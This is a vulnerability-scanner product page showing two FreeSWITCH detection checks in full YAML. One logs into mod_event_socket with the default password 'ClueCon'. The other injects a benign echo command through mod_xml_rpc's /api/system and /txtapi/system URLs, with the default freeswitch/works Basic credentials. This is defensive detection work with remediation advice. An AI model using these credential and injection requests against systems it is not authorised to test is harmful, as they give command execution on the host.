FreeSWITCH — 2 vulnerability checks

noctis ships 2 vulnerability checks for FreeSWITCH, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

FreeSWITCH mod_event_socket default password

CVECVE-2019-19492
Severitycritical · CVSS 9.8
Categorydefault-credentials — Default credentials
Servicesfreeswitch-event, ftp-proxy
Detectionset_var, tcp_open, script, tcp_send, tcp_close, match · highest QoD 97
Feedtests/vulnerabilities/freeswitch/CVE-2019-19492.yaml

The FreeSWITCH event socket (mod_event_socket) accepted the default password "ClueCon". A remote, unauthenticated attacker can log in and run any API command, including `system`, which gives command execution on the host.

How noctis detects it

  1. Opens a persistent TCP/TLS socket
  2. Parses / computes the next value with a Rhai script
  3. Sends auth ClueCon on the open socket
  4. Parses / computes the next value with a Rhai script
  5. Sends api version on the open socket
  6. Parses / computes the next value with a Rhai script
  7. Checks fs_version for \S → finding QoD 97: FreeSWITCH mod_event_socket default password (CVE-2019-19492)
  8. Checks auth.response for Reply-Text: \+OK accepted → finding QoD 75: FreeSWITCH mod_event_socket default password (CVE-2019-19492)

References:

Feed source — tests/vulnerabilities/freeswitch/CVE-2019-19492.yaml
# FreeSWITCH mod_event_socket default password (CVE-2019-19492).
#
# FreeSWITCH ships mod_event_socket listening on TCP/8021 with the well-known
# default password "ClueCon". Anyone who logs in with it can issue `api` and
# `bgapi` commands — including `system` — i.e. full control of the PBX and
# command execution as the FreeSWITCH user.
#
# Ported from OpenVAS/Greenbone NVT
# 2019/freeswitch/gb_freeswitch_mod_event_socket_default_pw_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.143230, GPL-2.0-only): read the `auth/request`
# greeting, send `auth ClueCon`, expect `command/reply` + `Reply-Text: +OK accepted`.
#
# Beyond the NASL: once logged in, the feed sends the read-only `api version`
# command on the same socket and reports the FreeSWITCH version it returns.
# That proves the session really executes commands (QoD 97), not just that a
# login reply came back. If the login is accepted but `api version` yields no
# version string, a lower-QoD finding (75) still reports the accepted login.
# The password is only sent to a service whose greeting is the event-socket
# `auth/request`, so other services on port 8021 never receive it.
uid: 24c32259-3b25-405c-ae51-46e4b53c22c3
name: "FreeSWITCH mod_event_socket default password (CVE-2019-19492)"
cves: [CVE-2019-19492]
cvss: 9.8
severity: critical
category: default-credentials
confidence_base: 0.30
tags: [freeswitch, voip, event-socket, default-credentials, intrusive]
# nmap names the event socket `freeswitch-event` when version detection runs,
# and `ftp-proxy` (the nmap-services default for 8021/tcp) when it does not.
services: [freeswitch-event, ftp-proxy]
author: noctis
version: "1.0.0"
description: |
  The FreeSWITCH event socket (mod_event_socket) accepted the default password
  "ClueCon". A remote, unauthenticated attacker can log in and run any API
  command, including `system`, which gives command execution on the host.
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-19492"
  - "https://developer.signalwire.com/freeswitch/FreeSWITCH-Explained/Modules/mod_event_socket_1048924/"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/network/cves/2019/CVE-2019-19492.yaml"

steps:
  # Results that later conditions read — initialised so a skipped step
  # never leaves them undefined.
  - id: init-es
    action: set_var
    var_name: is_event_socket
    var_value: false
  - id: init-auth
    action: set_var
    var_name: auth_ok
    var_value: false
  - id: init-version
    action: set_var
    var_name: fs_version
    var_value: ""

  # 1 — connect and read the greeting: "Content-Type: auth/request".
  - id: open
    action: tcp_open
    handle: fs
    port: "{{port}}"
    read_banner: true
    timeout_secs: 10
    store_as: conn

  - id: check-greeting
    action: script
    condition: "conn.connected == true"
    store_as: is_event_socket
    code: |
      type_of(conn.banner) == "string" && ereg("(?i)^Content-Type[ \t]*:[ \t]*auth/request", conn.banner)

  # 2 — log in with the default password.
  - id: send-auth
    action: tcp_send
    handle: fs
    condition: "is_event_socket == true"
    send: "auth ClueCon\n\n"
    timeout_secs: 10
    store_as: auth

  - id: check-auth
    action: script
    condition: "is_event_socket == true"
    store_as: auth_ok
    code: |
      type_of(auth.response) == "string"
        && ereg("(?i)Content-Type[ \t]*:[ \t]*command/reply", auth.response)
        && auth.response.contains("Reply-Text: +OK accepted")

  # 3 — post-login proof: the read-only `api version` command.
  - id: send-version
    action: tcp_send
    handle: fs
    condition: "auth_ok == true"
    send: "api version\n\n"
    timeout_secs: 10
    store_as: ver

  - id: parse-version
    action: script
    condition: "auth_ok == true"
    store_as: fs_version
    code: |
      if type_of(ver.response) == "string" {
        let m = eregmatch("FreeSWITCH Version ([^\r\n]+)", ver.response);
        if m.len() > 1 { m[1] } else { "" }
      } else { "" }

  - id: close
    action: tcp_close
    handle: fs

  # QoD 97 — logged in AND the session ran a command.
  - id: report-command
    action: match
    condition: "auth_ok == true"
    source: fs_version
    pattern: "\\S"
    on_match:
      finding:
        title: "FreeSWITCH mod_event_socket default password (CVE-2019-19492)"
        description: "The FreeSWITCH event socket accepted the default password 'ClueCon' and ran the read-only `api version` command, confirming full API access (including `system` command execution)."
        remediation: "Change the event-socket password in autoload_configs/event_socket.conf.xml, bind mod_event_socket to 127.0.0.1 or restrict it with apply-inbound-acl, and firewall TCP/8021."
        confidence_delta: 0.65
        qod: 97
        evidence: "auth ClueCon -> +OK accepted; api version -> FreeSWITCH Version {{fs_version}}"
      stop: true

  # QoD 75 — login accepted, but no version came back from `api version`.
  - id: report-login
    action: match
    condition: "auth_ok == true"
    source: auth.response
    pattern: "Reply-Text: \\+OK accepted"
    on_match:
      finding:
        title: "FreeSWITCH mod_event_socket default password (CVE-2019-19492)"
        description: "The FreeSWITCH event socket accepted the default password 'ClueCon'. The follow-up `api version` command returned no version, so command execution was not confirmed."
        remediation: "Change the event-socket password in autoload_configs/event_socket.conf.xml, bind mod_event_socket to 127.0.0.1 or restrict it with apply-inbound-acl, and firewall TCP/8021."
        confidence_delta: 0.50
        qod: 75
        evidence: "auth ClueCon -> {{auth.response}}"

FreeSWITCH mod_xml_rpc api/system command execution

CVECVE-2018-19911
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/freeswitch/CVE-2018-19911.yaml

Detects command execution through the `system` API command of the FreeSWITCH mod_xml_rpc web interface, on FreeSWITCH installs that load mod_xml_rpc without disabling system API commands. The feed sends GET /txtapi/system?<command>, then GET /api/system?<command>, where the command is a harmless `echo NOCTIS$((a+b))` with two random numbers. When the interface asks for HTTP Basic authentication, the request is repeated with the account shipped in the default configuration (freeswitch / works), at most once per URL. The finding fires when the shell-computed sum comes back in the reply, which only happens when FreeSWITCH ran the command. Nothing is read or written on the host.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{api}}?echo%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29 HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: GET {{api}}?echo%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29 HTTP/1.0
  5. Parses / computes the next value with a Rhai script
  6. Checks un.banner for NOCTIS[0-9]{7} → finding QoD 97: Unauthenticated GET …?echo NOCTIS$((…+…)) returned the shell-computed marker … at …:…
  7. Checks au.banner for NOCTIS[0-9]{7} → finding QoD 97: FreeSWITCH mod_xml_rpc command execution with the default freeswitch/works account (CVE-2018-19911)

References:

Feed source — tests/vulnerabilities/freeswitch/CVE-2018-19911.yaml
# FreeSWITCH mod_xml_rpc api/system command execution (CVE-2018-19911).
#
# Ported from OpenVAS/Greenbone NASL 2019/freeswitch/gb_freeswitch_rce_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.143233, GPL-2.0-only). The NASL sends
#   GET /api/system/?<cmd>  and  GET /txtapi/system/?<cmd>
# with the exploit_commands() list (id / ipconfig) and greps the body.
#
# How the sink works (mod_xml_rpc.c + mod_commands.c, checked on a real
# FreeSWITCH 1.11.3 with mod_xml_rpc loaded):
#   - the xmlrpc-c Abyss server percent-decodes the whole request URI, then the
#     part after '?' becomes the argument of the API command named after
#     /api/, /txtapi/, /webapi/ or /xmlapi/;
#   - `system <cmd>` runs <cmd> with popen() (/bin/sh -c) and streams stdout.
#     /txtapi/ closes the header block first (Content-Type: text/plain), so the
#     output is the body; /api/ leaves the header block open and the output
#     follows the last header line — raw tcp_connect reads both shapes, where an
#     HTTP client would drop or reject the /api/ reply.
#
# Better than the NASL:
#   - Proof: `echo NOCTIS$((a+b))` with two random 6-digit numbers instead of
#     id/ipconfig. The 7-digit sum is never in the request, so no reflection
#     can produce it; only a shell that ran the command prints it. Read-only.
#   - Default password: the shipped xml_rpc.conf.xml enables Basic auth with
#     freeswitch / works (the CVE text names it). The NASL sends no credentials,
#     so it misses every install that kept that default. When the unauthenticated
#     probe is answered by a 401 Basic challenge, the same probe is sent once
#     more with the shipped default account (a single attempt, no guessing).
#   - Both URL prefixes are tried, /txtapi/ first (clean text/plain body).
# Not covered: FreeSWITCH on Windows (popen goes to cmd.exe, no $((...))).
# Upstream never disabled the `system` API by default (conf/vanilla still
# ships it on, and xml_rpc.conf.xml still ships freeswitch/works), so current
# releases are exposed too whenever mod_xml_rpc is loaded. Hardened installs
# (and some packagings, e.g. the safarov/freeswitch image) set
# disable_system_api_commands=true: `system` is then not registered and the
# module answers "INVALID COMMAND!" — no finding.
# CVSS 7.5 is the NVD v3.0 score of CVE-2018-19911.
uid: 61b4d642-3eed-4700-a476-78cee260cf1c
name: "FreeSWITCH mod_xml_rpc api/system command execution (CVE-2018-19911)"
description: |
  Detects command execution through the `system` API command of the FreeSWITCH
  mod_xml_rpc web interface, on FreeSWITCH installs that load mod_xml_rpc
  without disabling system API commands. The feed sends GET /txtapi/system?<command>,
  then GET /api/system?<command>, where the command is a harmless
  `echo NOCTIS$((a+b))` with two random numbers. When the interface asks for
  HTTP Basic authentication, the request is repeated with the account shipped
  in the default configuration (freeswitch / works), at most once per URL. The finding fires
  when the shell-computed sum comes back in the reply, which only happens when
  FreeSWITCH ran the command. Nothing is read or written on the host.
cves: [CVE-2018-19911]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [freeswitch, voip, mod_xml_rpc, rce, command-injection, default-credentials, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-19911"
  - "https://github.com/signalwire/freeswitch/blob/master/src/mod/xml_int/mod_xml_rpc/mod_xml_rpc.c"
  - "https://github.com/signalwire/freeswitch/blob/master/conf/vanilla/autoload_configs/xml_rpc.conf.xml"
  - "OpenVAS/Greenbone NASL 2019/freeswitch/gb_freeswitch_rce_vuln.nasl (GPL-2.0-only)"

steps:
  # Random operands; only their sum (never sent) proves execution.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }

  # One pass per API prefix; every result read below is reset first.
  - id: init-un
    action: set_var
    var_name: un
    var_value: {connected: false, banner: ""}
    loop:
      over: ["/txtapi/system", "/api/system"]
      var: api

  - id: init-au
    action: set_var
    var_name: au
    var_value: {connected: false, banner: ""}

  - id: probe-unauth
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{api}}?echo%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: un

  - id: state-unauth
    action: script
    store_as: st
    code: |
      let b = if type_of(un.banner) == "string" { un.banner } else { "" };
      #{
        hit: stridx(b, p.marker) >= 0,
        challenge: ereg("^HTTP/1\\.[01] 401", b) && ereg("(?m)^www-authenticate:[ \\t]*basic", b, true)
      }

  # Only after a Basic challenge: one request with the shipped default account.
  - id: probe-default-account
    action: tcp_connect
    port: "{{port}}"
    condition: "st.hit == false && st.challenge == true"
    send: "GET {{api}}?echo%20NOCTIS%24%28%28{{p.a}}%2B{{p.b}}%29%29 HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nAuthorization: Basic ZnJlZXN3aXRjaDp3b3Jrcw==\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: au

  - id: state-default-account
    action: script
    store_as: st2
    code: |
      st.hit == false && type_of(au.banner) == "string" && stridx(au.banner, p.marker) >= 0

  - id: confirm-unauth
    action: match
    source: un.banner
    pattern: "NOCTIS[0-9]{7}"
    condition: "st.hit == true"
    on_match:
      finding:
        remediation: "Unload mod_xml_rpc or bind it to a trusted interface, change auth-pass in xml_rpc.conf.xml, and set disable_system_api_commands=true in vars.xml."
        confidence_delta: 0.67
        qod: 97
        evidence: "Unauthenticated GET {{api}}?echo NOCTIS$(({{p.a}}+{{p.b}})) returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

  - id: confirm-default-account
    action: match
    source: au.banner
    pattern: "NOCTIS[0-9]{7}"
    condition: "st2 == true"
    on_match:
      finding:
        title: "FreeSWITCH mod_xml_rpc command execution with the default freeswitch/works account (CVE-2018-19911)"
        remediation: "Unload mod_xml_rpc or bind it to a trusted interface, change auth-pass in xml_rpc.conf.xml, and set disable_system_api_commands=true in vars.xml."
        confidence_delta: 0.67
        qod: 97
        evidence: "GET {{api}}?echo NOCTIS$(({{p.a}}+{{p.b}})) with the default Basic account freeswitch/works returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

View these feeds on GitHub